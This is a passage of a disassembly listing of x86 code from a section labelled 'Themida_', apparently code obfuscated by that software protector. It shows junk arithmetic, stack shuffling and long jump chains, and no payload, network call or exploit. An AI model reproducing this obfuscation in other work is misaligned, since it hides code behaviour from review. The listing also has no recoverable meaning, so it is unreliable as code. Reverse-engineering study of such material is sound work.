		neg	ecx
		jmp	loc_566D0E
; ---------------------------------------------------------------------------


loc_55FDF3:				; CODE XREF: sub_562ABA-1DF1j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_562228
		push	ebx
		jmp	loc_56645A
; ---------------------------------------------------------------------------


loc_55FE03:				; CODE XREF: sub_562ABA-45BDj
		sub	esp, 4
		jmp	loc_56D375
; ---------------------------------------------------------------------------


loc_55FE0E:				; CODE XREF: sub_562ABA+C88Bj
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_55FE19:				; CODE XREF: sub_562ABA+B525j
		add	eax, ebx
		pop	ebx
		push	ebx
		mov	ebx, 522F3CEDh
		add	eax, ebx
		pop	ebx
		sub	eax, ebp
		push	ebp
		mov	ebp, 6073F41h
		shl	ebp, 3
		or	ebp, 76563A6Ch
		xor	ebp, 2450C681h
		jmp	loc_5660F4
; ---------------------------------------------------------------------------


loc_55FE41:				; CODE XREF: sub_562ABA+DB73j
		and	si, 1057h
		add	si, 2422h
		sub	bx, 69FCh
		jmp	loc_561E49
; ---------------------------------------------------------------------------


loc_55FE55:				; CODE XREF: sub_562ABA+2F80j
		push	edx
		mov	dh, 0ADh
		mov	cl, 7Fh
		add	cl, dh
		pop	edx
		mov	dh, cl
		pop	ecx
		add	al, dh
		mov	dx, word ptr [esp-4+arg_0]
		push	ecx
		jmp	loc_56A75F
; ---------------------------------------------------------------------------


loc_55FE6C:				; CODE XREF: sub_562ABA-394Ej
		mov	ecx, [esp+0]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		sub	edi, ebp
		add	edi, 23E16761h
		push	dword ptr [esp+0]
		jmp	loc_56F3A6
; ---------------------------------------------------------------------------


loc_55FE92:				; CODE XREF: sub_562ABA-206Cj
		sub	eax, 363D0BE5h
		pop	ebp
		push	ebx
		mov	ebx, 3874F6h
		sub	ebx, 3874F2h
		add	eax, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5634FA
; ---------------------------------------------------------------------------


loc_55FEB1:				; CODE XREF: sub_562ABA+873Dj
		mov	[esp+0], ebp
		jmp	loc_571F46
; ---------------------------------------------------------------------------


loc_55FEB9:				; CODE XREF: sub_562ABA+F81Fj
		add	ebp, edi
		pop	edi
		jmp	loc_566363
; ---------------------------------------------------------------------------


loc_55FEC1:				; DATA XREF: Themida_:0055DDD0o
		lodsd
		jmp	loc_56A383
; ---------------------------------------------------------------------------


loc_55FEC7:				; CODE XREF: sub_562ABA+9F14j
		mov	esi, 153654BDh
		or	esi, 3EB510F3h
		sub	esi, 43474A54h
		dec	esi
		sub	esi, 0DC2AD017h
		jmp	loc_56CD5B
; ---------------------------------------------------------------------------


loc_55FEE4:				; CODE XREF: sub_562ABA+A618j
		mov	edi, 4
		add	[esp+8+var_4], edi
		pop	edi
		pop	[esp+4+var_4]
		add	dword ptr [esp+0], 4
		pop	esi
		push	edx
		push	6C2F0999h
		pop	edx
		shl	edx, 1
		shl	edx, 1
		neg	edx
		xor	edx, 4F43D998h
		sub	esi, 4A957F73h
		add	esi, edx
		add	esi, 4A957F73h
		mov	edx, [esp+0]
		jmp	loc_56BB04
; ---------------------------------------------------------------------------


loc_55FF22:				; CODE XREF: sub_562ABA+EE01j
		inc	edi
		or	edi, 98852E8h
		inc	edi
		push	222Dh
		mov	[esp+4+var_4], eax
		jmp	loc_569E36
; ---------------------------------------------------------------------------


loc_55FF37:				; CODE XREF: sub_562ABA+CC8Aj
		push	6B38h
		push	esp
		pop	[esp+8+var_8]
		add	[esp+4+var_4], 4
		pop	esi
		jmp	loc_57083A
; ---------------------------------------------------------------------------


loc_55FF4D:				; CODE XREF: sub_562ABA+1A89j
		pop	edx
		add	ecx, 77C82406h
		sub	ecx, ebp
		sub	ecx, 77C82406h
		pop	ebp
		add	esi, ecx
		pop	ecx
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_563F27
; ---------------------------------------------------------------------------


loc_55FF71:				; CODE XREF: sub_562ABA+755Fj
		pop	ecx
		jmp	loc_56B87C
; ---------------------------------------------------------------------------


loc_55FF77:				; CODE XREF: sub_562ABA-1489j
		or	ecx, ebx
		pop	ebx
		jmp	loc_56AED6
; ---------------------------------------------------------------------------


loc_55FF7F:				; CODE XREF: sub_562ABA+B028j
		sub	ebx, 52F370AAh
		pop	eax
		xchg	ebx, [esp+0]
		jmp	loc_5692F3
; ---------------------------------------------------------------------------


loc_55FF8E:				; CODE XREF: sub_562ABA+BA2Bj
		push	edx
		push	125Eh
		mov	[esp+8+var_8], ecx
		mov	cl, 34h
		mov	dl, 99h
		jmp	loc_560E2F
; ---------------------------------------------------------------------------


loc_55FFA0:				; CODE XREF: sub_562ABA+74B4j
		pop	ebp
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_56024A
; ---------------------------------------------------------------------------


loc_55FFAA:				; CODE XREF: sub_562ABA+8F48j
		pop	edx
		push	7BF8h
		mov	[esp+4+var_4], eax
		jmp	loc_5611F9
; ---------------------------------------------------------------------------


loc_55FFB8:				; CODE XREF: sub_55F510+14j
		mov	al, 5Fh
		neg	al
		push	ecx
		jmp	loc_569B3F
; ---------------------------------------------------------------------------


loc_55FFC2:				; CODE XREF: sub_562ABA-2275j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_563CF3
; ---------------------------------------------------------------------------


loc_55FFD6:				; CODE XREF: sub_562ABA+32C0j
		pop	ebx
		add	ebx, 4
		jmp	loc_56BF56
; ---------------------------------------------------------------------------


loc_55FFE2:				; CODE XREF: sub_562ABA+366Bj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_567301
; ---------------------------------------------------------------------------
word_55FFF6	dw 2489h		; CODE XREF: sub_562ABA+6B8Dj
; ---------------------------------------------------------------------------
		and	al, 50h
		mov	eax, 4


loc_55FFFF:				; DATA XREF: Themida_:0058033Co
		jmp	loc_568643
; ---------------------------------------------------------------------------


loc_560004:				; CODE XREF: sub_562ABA+1275j
		pop	edx
		jmp	loc_56B831
; ---------------------------------------------------------------------------


loc_56000A:				; CODE XREF: sub_562ABA+4C8Dj
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_56A241
; ---------------------------------------------------------------------------


loc_560015:				; CODE XREF: sub_562ABA+A8AAj
		pop	ebx
		add	ebx, esi
		jmp	loc_56BC4E
; ---------------------------------------------------------------------------


loc_56001D:				; CODE XREF: sub_562ABA+7038j
		pop	esp
		sub	esp, 4
		mov	[esp+0], ebx
		not	dword ptr [esp+0]
		push	dword ptr [esp+0]
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_56D17D
; ---------------------------------------------------------------------------


loc_560036:				; CODE XREF: sub_562ABA+6909j
		push	2478h
		mov	[esp+4+var_4], edx
		push	ebx
		mov	ebx, 52972A1h
		jmp	loc_56E32F
; ---------------------------------------------------------------------------


loc_560049:				; CODE XREF: sub_562ABA+C773j
		xor	ecx, 27D74BFFh
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp+0]
		jmp	loc_569FEA
; ---------------------------------------------------------------------------


loc_560060:				; CODE XREF: sub_562ABA+ABA7j
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 5FCD052Fh
		or	ecx, 764A1534h
		not	ecx
		jmp	loc_56ABD5
; ---------------------------------------------------------------------------


loc_560075:				; CODE XREF: sub_562ABA+8D9Fj
		sub	edx, esi
		sub	edx, 7B0B53C5h
		mov	esi, [esp+0]
		jmp	loc_56DE91
; ---------------------------------------------------------------------------


loc_560085:				; CODE XREF: sub_562ABA+C592j
		add	edi, ebp
		jmp	loc_56FF9F
; ---------------------------------------------------------------------------


loc_56008C:				; CODE XREF: sub_562ABA+CD2Dj
		mov	edx, 299A2B3Bh
		push	esi
		mov	esi, 299A2B37h
		jmp	loc_55E5F7
; ---------------------------------------------------------------------------


loc_56009C:				; CODE XREF: sub_562ABA+930Dj
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5600A7:				; CODE XREF: sub_562ABA-1AB6j
		pop	eax
		sub	ebp, 4A43F1Fh
		add	ebp, edi
		jmp	loc_5716E4
; ---------------------------------------------------------------------------


loc_5600B5:				; CODE XREF: sub_562ABA+C6B8j
		mov	edx, 747A69BEh
		push	eax
		mov	eax, 53E01584h
		push	esi
		mov	esi, 34FC4920h
		jmp	loc_56DA45
; ---------------------------------------------------------------------------


loc_5600CB:				; CODE XREF: sub_562ABA+AFD7j
		sub	eax, edi
		jmp	loc_564A86
; ---------------------------------------------------------------------------


loc_5600D2:				; CODE XREF: sub_562ABA-ED2j
		add	esp, 4
		and	eax, 6C56375Eh
		and	eax, 77AC1A6Bh
		inc	eax
		sub	eax, 36E5AFF3h
		add	esi, eax
		mov	eax, [esp+0]
		add	esp, 4
		push	ebp
		push	esi
		jmp	loc_562713
; ---------------------------------------------------------------------------


loc_5600F4:				; CODE XREF: sub_562ABA+FBFDj
		mov	ebx, 769870C9h
		xor	ebx, ecx
		mov	ecx, [esp+0]
		jmp	loc_56BD0A
; ---------------------------------------------------------------------------


loc_560103:				; CODE XREF: sub_562ABA+FE9Bj
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		add	ebx, 5AE919DFh
		add	ebx, edi
		sub	ebx, 5AE919DFh
		add	eax, [ebx]
		push	dword ptr [esp+0]
		pop	ebx
		jmp	loc_564816
; ---------------------------------------------------------------------------


loc_560132:				; CODE XREF: sub_562ABA+75D6j
		pop	edi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	4C1Ah
		mov	[esp+0], edx
		mov	edx, esp
		jmp	loc_570F60
; ---------------------------------------------------------------------------


loc_560149:				; CODE XREF: sub_562ABA-3BF2j
		pop	esp
		jmp	loc_567266
; ---------------------------------------------------------------------------


loc_56014F:				; CODE XREF: sub_562ABA+E3A0j
		sub	edx, ebp
		pop	ebp
		add	edx, 0FFFFFFFFh
		add	edx, 4A3EACC5h
		or	ecx, edx
		jmp	loc_56995B
; ---------------------------------------------------------------------------


loc_560165:				; CODE XREF: sub_55FCA5+3j
		mov	[esp+4+var_4], ebx
		jmp	loc_568A95
sub_55FCA5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56016D:				; CODE XREF: sub_562ABA+2D30j
		pop	esi
		pop	ecx
		xor	ecx, 51E47D27h
		pop	edx
		xor	ecx, ebp
		xor	ebp, ecx
		jmp	loc_56B204
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_56017F	proc near		; CODE XREF: sub_562ABA+7945j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00562250 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572A9B SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	eax
		mov	eax, 4
		add	[esp+8+var_4], eax
		pop	eax
		pop	[esp+4+var_4]
		jmp	loc_562250
sub_56017F	endp


; =============== S U B	R O U T	I N E =======================================



sub_56019B	proc near		; CODE XREF: sub_562ABA+9A9Cj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	eax, [esp-8+arg_4]
		push	6753h
		mov	[esp-4+arg_0], ebp
		push	esp
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		jmp	loc_56895E
sub_56019B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5601DA:				; CODE XREF: sub_562ABA+3015j
		push	6C88h
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 0AC92250h
		and	edi, ebp
		pop	ebp
		jmp	loc_56D792
; ---------------------------------------------------------------------------


loc_5601EF:				; CODE XREF: sub_562ABA-4F3j
		pop	esp
		sub	eax, 30FF7E8Fh
		sub	eax, ebx
		jmp	loc_568E87
; ---------------------------------------------------------------------------


loc_5601FC:				; CODE XREF: sub_562ABA+7DF4j
		sub	si, 9AD4h
		mov	bp, si
		pop	esi
		xor	bp, 6
		xor	si, bp
		pop	ebp
		mov	dx, si
		jmp	loc_5715CA
; ---------------------------------------------------------------------------


loc_560216:				; CODE XREF: sub_562ABA+FEF2j
		neg	eax
		push	edx
		jmp	loc_566BD5
; ---------------------------------------------------------------------------


loc_56021E:				; CODE XREF: sub_562ABA+E524j
		add	ebx, 4
		xchg	ebx, [esp-6+arg_0+2]
		mov	esp, [esp-6+arg_0+2]
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp+0]
		add	esp, 4
		push	50F1h
		jmp	loc_562C1E
; ---------------------------------------------------------------------------


loc_560242:				; CODE XREF: sub_562ABA+15Fj
		add	esp, 4
		jmp	loc_56C800
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_56024A:				; CODE XREF: sub_55FCA5+300j
		mov	[esp+0], ax
		jmp	loc_55E09F
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560253:				; CODE XREF: sub_562ABA+7EE2j
		sub	[esp-6+arg_0+2], 3C552EF8h
		jmp	loc_56E360
; ---------------------------------------------------------------------------


loc_56025F:				; CODE XREF: sub_562ABA+830Dj
		sub	ebp, 68850BE1h
		sub	ebp, 7E2A11CBh
		jmp	loc_567A22
; ---------------------------------------------------------------------------


loc_560270:				; CODE XREF: sub_562ABA+4D46j
		add	ch, 1Ch
		sub	ch, 0FFh
		shl	ch, 8
		xor	ch, 3Fh
		jmp	loc_571534
; ---------------------------------------------------------------------------


loc_560281:				; CODE XREF: sub_562ABA+1604j
		push	esi
		mov	esi, 2
		jmp	loc_56E73B
; ---------------------------------------------------------------------------


loc_56028C:				; CODE XREF: sub_562ABA-12D9j
		sub	esi, 73B61A53h
		jmp	loc_571DEF
; ---------------------------------------------------------------------------


loc_560297:				; CODE XREF: sub_562ABA+7FF0j
		push	0AF0h
		mov	[esp+2+var_4+2], edx
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		push	ecx
		mov	ecx, 280B7FC7h
		sub	[esp+0Ah+var_8+2], ecx
		pop	ecx
		push	[esp+6+var_8+2]
		pop	edx
		push	117Eh
		mov	[esp+0Ah+var_C+2], ebx
		push	esp
		jmp	loc_564252
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_5602C2	proc near		; CODE XREF: sub_562ABA+4B1Dj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], esi
		pop	ecx
		pop	esi
		not	ecx
		shr	ecx, 1
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 12422AC9h
		shl	ecx, 4
		jmp	loc_56D239
sub_5602C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5602DF:				; CODE XREF: sub_562ABA-761j
		push	0A2Ch
		mov	[esp+12h+var_12], eax
		mov	eax, esi
		jmp	loc_56EA43
; ---------------------------------------------------------------------------


loc_5602EE:				; CODE XREF: sub_562ABA+4B35j
		pop	edi
		add	ebp, 6E196A53h
		jmp	loc_55EF67
; ---------------------------------------------------------------------------


loc_5602FA:				; CODE XREF: sub_562ABA+5FEFj
		mov	ebx, [esp+0]
		add	esp, 4
		add	edi, 7C472B8Dh
		sub	edi, eax
		sub	edi, 7C472B8Dh
		jmp	loc_56E778
; ---------------------------------------------------------------------------


loc_560313:				; CODE XREF: sub_562ABA+45EAj
		mov	ebx, 64080A29h
		xor	ebx, 2F5122B5h
		jmp	loc_5721B7
; ---------------------------------------------------------------------------


loc_560323:				; CODE XREF: sub_562ABA+DEC1j
		add	ecx, ebx
		sub	ecx, 158B700Ch
		jmp	loc_5619BD
; ---------------------------------------------------------------------------


loc_560330:				; CODE XREF: sub_562ABA+5E0Cj
		pop	ecx
		sub	eax, 66CB6707h
		add	eax, edx
		add	eax, 66CB6707h
		pop	edx
		add	eax, 2B267D11h
		add	eax, ebx
		sub	eax, 2B267D11h
		sub	eax, 65662175h
		jmp	loc_56B304
; ---------------------------------------------------------------------------


loc_560354:				; CODE XREF: sub_562ABA+86Aj
		add	edi, esi
		add	edi, 7EB9621Bh
		push	[esp+2+var_4+2]
		pop	esi
		add	esp, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_56A6A2
; ---------------------------------------------------------------------------


loc_56036F:				; CODE XREF: sub_562ABA-46B9j
		add	eax, ecx
		pop	ecx
		sub	edx, eax
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		push	edx
		add	[esp-0Ch+arg_8], 31A074CDh
		pop	dword ptr [ecx]
		jmp	loc_570757
; ---------------------------------------------------------------------------


loc_56038C:				; CODE XREF: sub_562ABA-152Dj
		add	ebp, 1C9105DAh
		add	ebp, ecx
		jmp	loc_56627B
; ---------------------------------------------------------------------------


loc_560399:				; CODE XREF: sub_562ABA+276j
		push	5D4Fh
		mov	[esp-0Ch+arg_8], esi
		push	ecx
		push	5A325E37h
		pop	ecx
		xor	ecx, 76545AE0h
		push	ecx
		pop	esi
		pop	ecx
		not	esi
		shr	esi, 2
		add	esi, 0CCD68A6h
		jmp	loc_560F58
; ---------------------------------------------------------------------------


loc_5603C1:				; CODE XREF: sub_562ABA+D31j
		xchg	ecx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	cx, word ptr [esp-0Ch+arg_8]
		sub	esp, 4
		jmp	loc_5697DA
; ---------------------------------------------------------------------------


loc_5603D3:				; CODE XREF: sub_562ABA+CEA4j
		push	7B24h
		mov	[esp-4+arg_0], esi
		mov	esi, 2
		add	eax, esi
		mov	esi, [esp-4+arg_0]
		push	edx
		jmp	loc_570BEE
; ---------------------------------------------------------------------------


loc_5603EB:				; CODE XREF: sub_562ABA-374Aj
		add	esp, 4
		jmp	loc_5662FB
; ---------------------------------------------------------------------------


loc_5603F6:				; CODE XREF: sub_562ABA+3829j
		pop	dx
		push	6BAEh
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56FDF4
; ---------------------------------------------------------------------------


loc_56040D:				; CODE XREF: sub_562ABA+EAEAj
		xchg	ebp, edi
		not	ebp
		jmp	loc_561C0A
; ---------------------------------------------------------------------------


loc_560416:				; CODE XREF: sub_562ABA+FFEBj
		mov	esi, 3CF7721Dh
		mov	eax, 0D3BACBD7h
		jmp	loc_56C6ED
; ---------------------------------------------------------------------------


loc_560425:				; CODE XREF: sub_562ABA+7E07j
		mov	edi, [esp+8+var_8]
		add	esp, 4
		pop	ebx
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 2
		jmp	loc_561909
; ---------------------------------------------------------------------------


loc_56043F:				; CODE XREF: sub_562ABA+EEADj
		not	edx
		or	edx, 42C876DAh
		sub	edx, 0B480D1C9h
		jmp	loc_56A6B6
; ---------------------------------------------------------------------------


loc_560452:				; CODE XREF: sub_562ABA+E481j
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		bt	word ptr [esp+4+var_4],	ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_560466:				; CODE XREF: sub_562ABA-2EE2j
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		add	esp, 4
		push	393Dh
		mov	[esp+0], eax
		push	ebx
		push	0E226C47h
		pop	ebx
		push	esi
		mov	esi, 721C4DA9h
		or	esi, 8DC3AC9h
		neg	esi
		xor	esi, 74FE13ACh
		add	ebx, esi
		pop	esi
		push	ebx
		pop	eax
		jmp	loc_564BD1
; ---------------------------------------------------------------------------


loc_56049F:				; CODE XREF: sub_562ABA+2986j
		mov	ecx, 2465115Ch
		push	edx
		push	ebx
		mov	ebx, ecx
		mov	edx, ebx
		mov	ebx, [esp+1Ah+var_1A]
		add	esp, 4
		mov	ebx, edx
		mov	edx, [esp+16h+var_16]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+1Eh+var_1E], eax
		mov	eax, 496B1AA3h
		push	eax
		not	[esp+22h+var_22]
		pop	eax
		inc	eax
		jmp	loc_570F0D
; ---------------------------------------------------------------------------


loc_5604D7:				; CODE XREF: sub_562ABA+6B3Aj
		push	432Ah
		mov	[esp+22h+var_22], eax
		push	eax
		push	esp
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], edx
		push	4
		pop	edx
		jmp	loc_560D48
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_5604FE:				; CODE XREF: sub_55FCA5+1Bj
		pop	eax
		push	ebx
		jmp	loc_561B5D
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_560505:				; CODE XREF: sub_562ABA+686Dj
		mov	ecx, esp
		push	ebx
		push	4
		pop	ebx
		add	ecx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_55F529
; ---------------------------------------------------------------------------


loc_560521:				; CODE XREF: sub_562ABA+A604j
		pop	esp
		push	esi
		mov	esi, 1ADB36D4h
		xor	esi, 6FEF63A3h
		push	esi
		push	edx
		pop	esi
		pop	edx
		not	edx
		jmp	loc_568F3A
; ---------------------------------------------------------------------------


loc_560539:				; CODE XREF: sub_562ABA+68A6j
		mov	ch, 0F9h
		add	ch, 0EEh
		xor	dl, ch
		pop	ecx
		sub	al, 2Ch
		sub	al, 1Ah
		add	al, 6
		add	al, dl
		sub	esp, 4
		mov	[esp+0], edx
		mov	dh, 0EEh
		not	dh
		dec	dh
		shr	dh, 2
		sub	dh, 0FEh
		jmp	loc_5625A8
; ---------------------------------------------------------------------------


loc_560563:				; CODE XREF: sub_562ABA+720Fj
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_560568:				; CODE XREF: sub_562ABA+9DCCj
		push	[esp+2Eh+var_2C+2]
		mov	edx, [esp+32h+var_32]
		add	esp, 4
		pop	dword ptr [esp+0]
		pop	esp
		xor	eax, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], eax
		xor	eax, [esp+26h+var_28+2]
		jmp	loc_55E9B0
; ---------------------------------------------------------------------------


loc_560584:				; CODE XREF: sub_562ABA+E2F0j
		push	[esp+26h+var_28+2]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_563D4B
; ---------------------------------------------------------------------------


loc_560593:				; CODE XREF: sub_562ABA+B996j
		sub	edx, edi
		pop	edi
		add	[esp+22h+var_1E], edx
		push	[esp+22h+var_22]
		pop	edx
		add	esp, 4
		mov	ebp, [esp+1Eh+var_1E]
		jmp	loc_566FC7
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	ebx
		jmp	loc_5644B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5605CA:				; CODE XREF: sub_562ABA+C969j
		add	edx, 0BF03B8FBh
		add	ebp, edx
		pop	edx
		jmp	loc_5686F7
; ---------------------------------------------------------------------------


loc_5605D8:				; CODE XREF: sub_562ABA+78E5j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ah+var_1A]
		pop	esp
		push	edx
		push	edi
		mov	edi, 46417387h
		xchg	ebx, edi
		not	ebx
		jmp	loc_57266D
; ---------------------------------------------------------------------------


loc_5605F7:				; CODE XREF: sub_562ABA+FA4Ej
		or	edi, 4EE913F4h
		push	eax
		mov	eax, 4C520E17h
		shl	eax, 3
		dec	eax
		xor	eax, 6E152EAFh
		jmp	loc_5692CD
; ---------------------------------------------------------------------------


loc_560611:				; CODE XREF: sub_562ABA+E21Bj
		mov	ecx, 5DC2771Bh
		jmp	loc_55F15C
; ---------------------------------------------------------------------------


loc_56061B:				; CODE XREF: sub_562ABA-20DCj
		pop	esi
		jmp	loc_56A7CC
; ---------------------------------------------------------------------------


loc_560621:				; CODE XREF: sub_562ABA+B20Bj
		add	ebx, esi
		add	ebx, 1A266E2h
		pop	esi
		add	ebx, 2
		xchg	ebx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		or	word ptr [esp+1Ah+var_1A], ax
		pushf
		jmp	loc_56238C
; ---------------------------------------------------------------------------


loc_56063D:				; CODE XREF: sub_562ABA-478Aj
		add	esi, 3AE0255h
		add	esi, ebp
		sub	esi, 3AE0255h
		mov	ebp, [esp-0Ah+arg_4+2]
		add	esp, 4
		push	6D81h
		mov	[esp-0Ah+arg_4+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp-0Ah+arg_4+2]
		pop	esp
		mov	[esp-0Eh+arg_8+2], ebp
		mov	ebp, 1F5E1348h
		sub	ebp, 0B0E9C11Bh
		push	ecx
		jmp	loc_56F8CE
; ---------------------------------------------------------------------------


loc_560682:				; CODE XREF: sub_562ABA-A42j
		pop	edx
		dec	ah
		neg	ah
		push	dx
		push	668Ch
		mov	[esp-8+arg_4], ecx
		jmp	loc_572078
; ---------------------------------------------------------------------------


loc_560696:				; CODE XREF: sub_562ABA+FDC0j
		sub	cl, dh
		pop	edx
		xor	cl, 31h
		jmp	loc_56ED4A
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56B425
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5606AD:				; CODE XREF: sub_562ABA+215Cj
		mov	esp, [esp-0Ch+arg_8]
		mov	cx, word ptr [esp-0Ch+arg_8]
		push	ecx
		push	esp
		jmp	loc_564EF3
; ---------------------------------------------------------------------------


loc_5606BB:				; CODE XREF: sub_562ABA+FFBj
		push	ecx
		mov	ch, 0BCh
		and	ch, 88h
		push	dx
		jmp	loc_56D689
; ---------------------------------------------------------------------------


loc_5606C8:				; CODE XREF: sub_562ABA-568j
		sub	eax, 6EBE0EC4h
		add	edx, eax
		pop	eax
		push	eax
		push	ecx
		mov	ecx, 353A1818h
		mov	eax, 7053151Dh
		xor	eax, ecx
		pop	ecx
		shl	eax, 8
		xchg	eax, edi
		dec	edi
		xchg	eax, edi
		neg	eax
		shr	eax, 2
		not	eax
		xor	eax, 0DA43413Bh
		add	edx, eax
		pop	eax
		xchg	edx, [esp+0]
		pop	esp
		push	ebp
		push	2E143B61h
		pop	ebp
		jmp	loc_571027
; ---------------------------------------------------------------------------


loc_560704:				; CODE XREF: sub_562ABA+866Aj
		add	esp, 4
		sub	esi, 6235028Ch
		mov	ecx, [esp-6+arg_0+2]
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_56512C
; ---------------------------------------------------------------------------


loc_560732:				; CODE XREF: sub_562ABA+6FA5j
		mov	[esp+0], eax
		mov	eax, esp
		jmp	loc_56ACA4
; ---------------------------------------------------------------------------


loc_56073C:				; CODE XREF: sub_562ABA+959Cj
		mov	esi, [esp+0]
		jmp	loc_563084
; ---------------------------------------------------------------------------


loc_560744:				; CODE XREF: sub_562ABA+E068j
		push	ebx
		jmp	loc_565DF4
; ---------------------------------------------------------------------------


loc_56074A:				; CODE XREF: sub_562ABA+84DCj
		sub	bl, al
		add	bl, 0FDh
		add	bl, 0E7h
		jmp	loc_567CFB
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_560757	proc near		; CODE XREF: sub_562ABA+7950j
		push	ebx
		jmp	loc_563476
sub_560757	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56075D:				; CODE XREF: sub_562ABA-4462j
		xchg	edi, edx
		add	edx, 32B7C69h
		sub	edi, edx
		pop	edx
		jmp	loc_5729C2
; ---------------------------------------------------------------------------


loc_56076D:				; CODE XREF: sub_562ABA+45DDj
		push	3E43h
		mov	[esp+46h+var_46], eax
		jmp	loc_5705C8
; ---------------------------------------------------------------------------


loc_56077A:				; CODE XREF: sub_562ABA+9363j
		xor	[esp+46h+var_46], edx
		xor	edx, [esp+46h+var_46]
		pop	esp
		xor	ebx, [esp+42h+var_42]
		xor	[esp+42h+var_42], ebx
		jmp	loc_571FCE
; ---------------------------------------------------------------------------


loc_56078C:				; CODE XREF: sub_562ABA+ACE6j
		add	ah, dh
		pop	edx
		sub	ah, bh
		sub	ah, 0C3h
		pop	ebx
		jmp	loc_56BF12
; ---------------------------------------------------------------------------


